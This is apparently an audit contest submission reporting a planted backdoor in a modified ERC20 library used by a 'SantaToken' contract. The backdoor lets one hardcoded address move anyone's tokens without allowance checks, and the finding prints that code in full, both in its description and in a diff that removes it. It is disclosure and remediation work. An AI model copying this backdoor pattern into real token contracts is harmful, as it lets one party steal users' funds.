Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Backdoor in `ERC20.sol` allows the elves to steal all `SantaTokens`

Summary

The SantaToken contract inherits from solmate-bad/ERC20 contract, which has a backdoor hidden inside transferFrom() method. This backdoor allows the Elves' address 0x815F577F1c1bcE213c012f166744937C889DAF17 to transfer the tokens between two arbitrary accounts without checking allowance. Effectively, this means that the protocol can be rug-pulled and all the tokens may get stolen by the Elves.

Vulnerability Details

The ERC20::transferFrom() method, in addition to the standard, expected logic, contains the following block of code:

if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
balanceOf[from] -= amount;
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}

If the msg.sender is the Elves' address, the transfer will be executed without checking for allowances. That means that the owner of the address can freely move any amount of SantaTokens between any arbitrary accounts.

This obviously opens a rug-pull attack vector. The Elves, at some point, can simply steal the tokens from all of the protocol's users and transfer them to their own account.

Impact

Tokens can get stolen, protocol can get rug-pulled

Tools Used

Manual review

Recommendations

Remove the backdoor from the ERC20::transferFrom() method:

function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
// hehehe :)
// https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d
- if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
- balanceOf[from] -= amount;
- unchecked {
- balanceOf[to] += amount;
- }
- emit Transfer(from, to, amount);
- return true;
- }
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

unauthorized elf wallet approval in solmate-bad

Some sneaky elf has changed this library to a corrupted one where his wallet address skips all the approval checks for SantaToken! Shenanigans here - https://github.com/PatrickAlphaC/solmate-bad/blob/c3877e5571461c61293503f45fc00959fff4ebba/src/tokens/ERC20.sol#L88

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.